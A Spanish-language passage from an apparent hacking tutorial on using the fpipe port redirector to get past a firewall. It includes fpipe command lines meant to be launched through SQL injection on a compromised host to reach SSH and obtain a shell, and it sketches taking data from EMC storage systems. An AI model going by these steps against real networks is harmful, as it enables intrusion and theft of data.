Para esto existe la herramienta llamada fpipe (para Windows) desarrollada por foundstone,se trata de un emisor-receptor de puerto origen TCP, con fpipe podemos realizar una secuencia TCP con un determinado puerto origen, un puerto servidor a la escucha, y un puerto destino remoto, que es precisamente aquel al que estamos tratando de acceder detras del firewall. Cuando fpipe se ejecute mantendra un puerto a la escucha en espera de conexión, cuando esta llegue, conectará con la maquina en el puerto destino especificando el puerto local especificado, cerrando asi el circuito y falseando el tráfico del host intermedio al host final.

Puede ser bajado desde aqui: http://www.foundstone.com/us/resources/proddesc/fpipe.htm

He aqui su sintaxis:

-------------------------------------------------------------
C:\descargas\fpipe2_1>FPipe.exe –h
FPipe v2.1 - TCP/UDP port redirector.
Copyright 2000 (c) by Foundstone, Inc.
http://www.foundstone.com

FPipe [-hvu?] [-lrs <port>] [-i IP] IP

 -?/-h - shows this help text
 -c    - maximum allowed simultaneous TCP connections. Default is 32
 -i    - listening interface IP address
 -l    - listening port number
 -r    - remote port number
 -s    - outbound source port number
 -u    - UDP mode
 -v    - verbose mode

Example:
fpipe -l 53 -s 53 -r 80 192.168.1.101

This would set the program to listen for connections on port 53 and
when a local connection is detected a further connection will be
made to port 80 of the remote machine at 192.168.1.101 with the
source port for that outbound connection being set to 53 also.
Data sent to and from the connected machines will be passed through.

C:\descargas\fpipe2_1>
------------------------------------------------------


Una prueba sencilla con la cual se puede probar la funcionalidad de esta util herramienta es redireccionand o todo el tráfico de entrada en el puerto 443 con una ip fuente a nuestro equipo al puerto 34567 usando la siguiente sintaxis:

                fpipe -v -l 34567 -s 443 -i 192.168.1.39 -r 443 xxx.xxx.xxx


Donde:  xxx.xxx.xxx.xx x = a la ip del host origen
              192.168.1.39= la ip del target
              443=el puerto origen (el pto de donde proviene todo el tráfico que se quiere redireccionar).
              34567= el puerto salida, siendo el resultado de la redirección del tráfico entrante.



Ahora el equipo se encuentra escuchando todo el trafico que proviene de esa ip origen si nosotros verificamos nuestros puertos en escucha podremos corroborar que en efecto el puerto 34567 se encuentra listening. (netstat -an).

Ahora si en nuestro navegador colocamos nuestra ip especificando el puerto 34567 de la siguiente manera:

                 https://192.168.1.39:34567

Podrmos observar que todo el tráfico que entra de nuestro navegador por el puerto 443 se ve reflejado en nuestra ip por el puerto 34567,  Fpipe se encuentra redireccionand o todo lo que proviene en particular de la ip origen por el puerto 443, hacia nuestro equipo redireccionand olo hacia el puerto 34567.

Evidentemente de nada nos sirve redireccionar tráfico web, para nuestro caso, que pasa si ejecutaramos  fpipe escuchando en un puerto donde que el firewall permite la salida de la siguiente manera:

                             Fpipe.exe -v -l  135 -s 22 -i xxx.xxx.xxx.xx x –r 22 yyy.yyy.yyy.yy y
                             Donde:
                             xxx.xxx.xxx.xx x= a la ip del equipo vulnerado mediante sql injection.
                             yyy.yyy.yyy.yy y= a la ip del equipo target real.
                             r 22= al puerto que  tratamos de conectar por detrás del firewall.
                             s 22= el puerto exacto origen.
                             l 135= el puerto permitido por el firewall.

Ahora el tráfico que corresponde al servicio de ssh va enmascarado al puerto 135 que es publicado mediante web (pto 80), ahora alcanzable desde nuestro propio equipo tercero, el cual es el atacante. Obviamente este comando debe ser ejecutado mediante la inyección de código SQL pues el objetivo es conseguir una shell brincando el firewall mediante la redirección de tráfico.

Aún en este punto faltaria romper el password de SSH, lo cual es muy dificil de conseguir, pero si ya se tiene conexión desde un tercer equipo por detrás del cortafuegos, se pueden verificar mas opciones para evitar vulnerar ssh, que pasaria si se enmascara el trafico por el puerto 6000 (pto no asignado en servicios windows standares), como trafico DNS 53 al equipo señuelo, para despues voltear la shell desde nuestro equipo mediante SQL injection?, estariamos brincando el firewall y a la vez realizando un socket que evidentemente nos arrojaria una shell con privilegios del usuario que ejecute en ese momento el explorer.exe o el dueño del home actual en caso de un equipo Unix.

Las posibilidades son infinitas, este paper no trata de ser un manual, es un paper que brinda conocimiento acerca de las distintas técnicas reales de intrusión. Por ello la falta de pantallas que evidencien la efectividad de estas técnicas, las cuales no son ficticias basta entrar a cualquier canal IRC donde abunden intrusos para darse cuenta la tendencia de las mismas. Para nuestra fortuna empresas como Netrix, Afina, Ligtech, Scitum que son las que mas presencia tienen en el mercado de la seguridad, poseen "consultores" o "especialistas" nada experimentados en el ámbito real del analisis y ejecución de vulnerabilidad es, por lo general son cualquier profesionista con conocimientos vagos en informática que ejecutan plantillas de ACL's y configuración estandarizada en cualquier ámbito, basta obtener plantillas básicas de iptables en www.sunsolve.c om para darse cuenta cual es dicha estandarización y ahorrarnos tiempo y esfuerzo tratando de adivinar que es mejor.. si brincar el cortafuegos o vulnerar la página web de  nuestro objetivo.

Un punto mas a nuestro favor si es que estos "especialistas de la seguridad certificados" no esconden target principales de Bases de Datos, engorrecen ACL's para evitar ver Bases de Datos, ocultan información de los gestores pero no esconden las Ip's de los sistemas de storage, por lo tanto una vez vulnerado un equipo de la recepción de la empresa, podemos alcanzar la ip de un Clariion o de un celerra (sistemas de storage de emc) las cuales almacenan a nivel disco esa información, basta conocer un poco de storage para vaciar información valiosa sin siquiera tocar los manejadores de bases da datos.  Pero bueno, en otra ocasión escribiré algo acerca de como encontrar targets de emc facilmente vulnerables.

Espero haberme explicado. Saludos !!! .